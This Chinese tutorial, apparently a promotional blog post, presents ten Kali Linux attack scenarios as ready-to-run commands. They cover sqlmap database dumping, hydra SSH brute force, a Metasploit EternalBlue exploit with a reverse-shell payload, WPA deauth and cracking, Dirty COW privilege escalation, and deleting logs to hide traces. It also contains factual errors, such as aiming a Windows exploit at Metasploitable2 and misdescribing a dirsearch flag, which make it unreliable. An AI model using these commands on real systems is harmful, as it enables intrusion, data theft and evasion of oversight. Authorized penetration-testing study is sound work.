对于学习网络安全的大学生和从事 IT 相关工作的从业者来说,Kali Linux 作为专业的渗透测试工具集,是日常学习与工作中不可或缺的 “利器”。但很多人面临着入门难、场景应用不熟练的问题 —— 要么不清楚不同测试场景该用哪些工具,要么掌握了工具却不懂实操流程,要么实战中遇到问题不知如何排查。这三个痛点不仅阻碍了技能提升,还会影响实际工作与项目推进的效率。
领最新 Kali 系统及粉丝福利:
https://pan.quark.cn/s/ff58f9f0e064
Kali Linux 内置了超过 600 款渗透测试相关工具,覆盖了网络扫描、漏洞挖掘、密码破解、权限提升等多个方向。但工具的价值在于 “用对场景”,本文精选 10 个职场与学习中高频出现的渗透测试场景,每个场景都搭配详细的操作步骤与注意事项,全程干货无废话,新手也能跟着一步步实操,老手可作为实用手册随时查阅。
场景 1:目标网络主机存活探测
在渗透测试初期,首要任务是确定目标网络中哪些主机处于存活状态,为后续测试锁定范围。
打开 Kali Linux 终端,优先使用 arp-scan 工具(基于 ARP 协议,适用于局域网,探测结果更准确),输入命令:arp-scan -l(-l 参数表示扫描本地局域网)。
若需扫描外网目标,可使用 ping 扫描,输入命令:fping -g 目标 IP 段(例如 fping -g 192.168.1.1/24,-g 参数表示扫描指定 IP 段),该命令会快速返回存活主机 IP。
注意事项:扫描外网目标时需遵守网络安全法规,获得目标授权后再操作;局域网扫描时,arp-scan 工具无需 root 权限,ping 扫描部分场景可能需要 sudo 提权。
场景 2:目标主机端口扫描与服务识别
存活主机确定后,需进一步探测其开放端口及对应服务,寻找潜在漏洞入口。
推荐使用 nmap 工具(Kali 默认安装,功能强大),基础扫描命令:nmap -sS 目标 IP(-sS 参数表示半开放扫描,速度快且隐蔽性强)。
如需详细识别服务版本及操作系统,输入命令:nmap -sV -O 目标 IP(-sV 参数识别服务版本,-O 参数探测操作系统类型)。
针对特定端口范围扫描:nmap -p 1-1000 目标 IP(扫描 1-1000 端口,可根据需求修改端口范围)。
实操技巧:扫描结果中,常用开放端口如 80(HTTP)、443(HTTPS)、22(SSH)、3389(RDP)需重点关注,后续可针对对应服务展开测试。
场景 3:Web 站点目录与文件扫描
对于开放 HTTP/HTTPS 服务的目标,扫描隐藏目录与敏感文件(如后台登录页、配置文件)是关键步骤。
使用 dirsearch 工具(Kali 默认安装,专为 Web 目录扫描设计),输入命令:dirsearch -u 目标 URL(例如 dirsearch -u https://www.example.com)。
加载自定义字典扫描(提高成功率):dirsearch -u 目标 URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt(指定 Kali 内置字典文件)。
注意事项:扫描时避免过于频繁请求,可添加延迟参数:-r 1(每 1 秒发送一次请求),防止触发目标站点防护机制;发现敏感文件(如 config.php、admin/login.php)后,可优先记录,后续针对性测试。
场景 4:SQL 注入漏洞探测与利用
SQL 注入是 Web 应用高频漏洞,一旦存在,攻击者可获取数据库权限甚至服务器控制权。
手动探测:在 Web 站点 URL 参数后添加测试语句,例如将https://www.example.com/list?id=1修改为?id=1',若页面返回数据库错误信息,说明可能存在注入点;再尝试?id=1 and 1=2,若页面内容发生变化,可初步确认注入漏洞。
工具自动化探测:使用 sqlmap 工具,输入命令:sqlmap -u "目标 URL" --dbs(--dbs 参数用于列出所有数据库)。
漏洞利用:确认注入点后,获取数据库表名:sqlmap -u "目标 URL" -D 数据库名 --tables;获取表中字段:sqlmap -u "目标 URL" -D 数据库名 -T 表名 --columns;导出数据:sqlmap -u "目标 URL" -D 数据库名 -T 表名 -C 字段名 --dump。
防护提示:测试完成后,建议向目标方反馈漏洞,常用防护手段包括参数过滤、预编译语句、使用 ORM 框架等。
场景 5:弱密码破解(SSH 服务为例)
弱密码是渗透测试中常见的突破口,针对开放 SSH 服务的目标,可尝试密码暴力破解。
使用 hydra 工具(Kali 默认安装,支持多种协议破解),准备用户名字典(如 root、admin)和密码字典(Kali 内置字典路径:/usr/share/wordlists/rockyou.txt.gz,需先解压:gunzip rockyou.txt.gz)。
输入破解命令:hydra -L 用户名字典路径 -P 密码字典路径 ssh:// 目标 IP(例如 hydra -L user.txt -P rockyou.txt ssh://192.168.1.100)。
优化设置:添加线程参数 -t 64(默认线程较低,适当提高可加快速度,但避免线程过高导致连接失败);若知道用户名,可省略 - L 参数,直接使用 - l 用户名(小写 L)。
注意事项:密码破解属于敏感操作,必须获得明确授权;实际测试中,弱密码出现概率较高,建议优先尝试常见弱密码(如 123456、admin@123)。
场景 6:缓冲区溢出漏洞测试(基础实操)
缓冲区溢出是经典系统漏洞,通过构造恶意数据覆盖缓冲区,可实现权限提升,适合有一定基础的学习者实操。
准备测试环境:推荐使用 Metasploitable2 虚拟机(专为漏洞测试设计,内置多种已知漏洞),将其与 Kali Linux 置于同一局域网。
使用 Metasploit Framework(MSF)工具,打开终端输入 msfconsole 启动 MSF。
搜索缓冲区溢出相关漏洞模块:search eternalblue(以永恒之蓝漏洞为例,实际可根据目标漏洞调整)。
加载模块:use exploit/windows/smb/ms17_010_eternalblue;设置目标 IP:set RHOSTS 目标 IP;设置攻击载荷:set PAYLOAD windows/meterpreter/reverse_tcp;设置本地 IP:set LHOST 本机 IP;运行攻击:exploit。
实操要点:缓冲区溢出测试对环境依赖较高,建议先在本地测试环境熟悉流程;不同漏洞的模块与参数设置不同,需结合漏洞说明文档调整。
场景 7:无线网络密码破解(WPA/WPA2 为例)
针对身边可授权测试的无线网络,学习 WPA/WPA2 密码破解方法,加深对无线安全的理解。
查看无线网卡:输入命令 iwconfig,确认无线网卡支持监听模式(通常支持)。
开启监听模式:airmon-ng check kill(关闭干扰进程);airmon-ng start wlan0(wlan0 为无线网卡名称,改为实际网卡名),此时网卡名称变为 wlan0mon。
捕获握手包:airodump-ng wlan0mon(扫描周围无线网络),记录目标网络的 BSSID、信道;然后输入命令:airodump-ng -c 信道 --bssid BSSID -w 保存路径 wlan0mon(捕获握手包,-w 参数指定保存路径)。
强制客户端重连(加速捕获握手包):打开新终端,输入命令:aireplay-ng --deauth 0 -a BSSID wlan0mon(--deauth 0 表示持续发送解除认证帧,-a 指定目标 BSSID)。
破解握手包:当捕获到握手包后,使用字典破解:aircrack-ng -w 密码字典路径 保存的握手包文件(例如 aircrack-ng -w rockyou.txt capture-01.cap)。
重要提醒:仅可对自己拥有所有权或获得明确授权的无线网络进行测试,未经授权破解他人网络属于违法行为。
场景 8:权限提升(Linux 系统为例)
获取目标主机低权限后,需通过权限提升获取 root 权限,实现完全控制。
首先检查系统内核漏洞:使用 uname -r 查看内核版本,然后在 MSF 中搜索对应内核漏洞模块(例如 search dirty cow,针对脏牛漏洞)。
加载提权模块:use exploit/linux/local/dirty_cow;设置会话:set SESSION 会话 ID(之前获取的 meterpreter 会话 ID);运行:exploit,成功后即可获得 root 权限。
查看 SUID 文件(寻找可利用的高权限文件):find /-perm -u=s -type f 2>/dev/null(查找所有具有 SUID 权限的文件,部分文件可用于提权)。
实操技巧:常见的 Linux 提权方法还包括 sudo 权限滥用、环境变量篡改等,可结合目标系统具体情况选择,建议优先尝试内核漏洞提权(成功率较高)。
场景 9:日志清除与痕迹掩盖
渗透测试完成后,需清除操作日志,避免留下痕迹(仅在授权测试范围内操作)。
Linux 系统日志清除:删除 /var/log 目录下的关键日志文件,如 rm -rf /var/log/auth.log(认证日志)、rm -rf /var/log/syslog(系统日志);或使用命令:echo "" > /var/log/auth.log(清空日志内容,更隐蔽)。
Windows 系统日志清除:通过 meterpreter 会话,输入命令:clearev(直接清除 Windows 事件日志)。
注意事项:痕迹掩盖仅适用于合法授权的测试场景,未经授权的渗透测试本身已违法,掩盖痕迹会加重法律责任。
场景 10:渗透测试报告撰写(附模板框架)
测试完成后,一份规范的报告是成果的体现,也是交付给需求方的核心文档。
报告框架:
测试概述:包括测试目标、范围、时间、方法(如黑盒测试、白盒测试)。
测试环境:目标网络拓扑、测试工具清单、测试设备信息。
漏洞详情:每个漏洞的名称、风险等级(高 / 中 / 低)、发现路径、详细描述、证明截图、修复建议。
总结与建议:整体安全评估、后续安全加固方案(如定期漏洞扫描、安全培训)。
撰写技巧:漏洞描述需具体,避免模糊表述;修复建议要可落地,例如 “将 SSH 服务密码复杂度设置为 8 位以上,包含大小写字母、数字及特殊字符”,而非仅说 “加强密码安全”;重要漏洞需附上实操截图,增强说服力。
以上 10 个场景基本覆盖了渗透测试从初期探测到最终交付报告的全流程,每个步骤都经过实操验证,可直接应用于学习与工作中。需要注意的是,所有渗透测试操作必须在合法授权的前提下进行,严禁未经授权对他人网络、主机进行测试,否则将承担相应的法律责任。网络安全的核心是 “保护” 而非 “破坏”,希望大家利用 Kali Linux 提升技能,为网络安全行业贡献力量。
文末福利:
看到这里的粉丝朋友不妨点个关注,私信回复【kali】,领取最新 Kali 系统及最全软件库。
点击阅读原文,帮助小白轻松学会Kali与编程